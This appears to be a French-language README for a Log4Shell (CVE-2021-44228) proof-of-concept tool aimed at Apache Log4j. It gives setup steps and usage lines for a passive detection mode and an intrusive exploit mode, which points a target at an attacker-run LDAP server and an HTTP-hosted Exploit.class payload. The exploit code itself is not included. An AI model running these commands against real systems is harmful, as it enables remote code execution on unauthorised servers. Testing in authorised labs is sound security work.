Log4Shell

(CVE-2021-44228)

☠️ Log4Shell PoC (CVE-2021-44228)

Exploit de test pour la vulnérabilité critique Log4Shell dans Apache Log4j ≤ 2.14.1, permettant l'exécution de code à distance via des injections JNDI.

⚠️ Ce PoC est uniquement destiné à des fins éducatives et à des tests contrôlés dans des environnements autorisés. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Prérequis

• Python 3.x
• Java 8 ou supérieur
• marshalsec (pour le serveur LDAP malveillant)
• Serveur HTTP (par exemple, python3 -m http.server)
• Docker (facultatif pour environnement vulnérable)

Environnement de test local (facultatif avec Docker)

1. Exécutez l'application vulnérable :

   root@kitploit:~

   docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
   

2. Accédez à : http://localhost:8080

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

Utilisation

Mode de détection passive :

python3 main.py -u http://target.com -i burp.collab.net -m detect

Mode intrusif (nécessite Exploit.class sur votre serveur HTTP) :

python3 main.py -u http://target.com -i 192.168.0.100:1389 -m exploit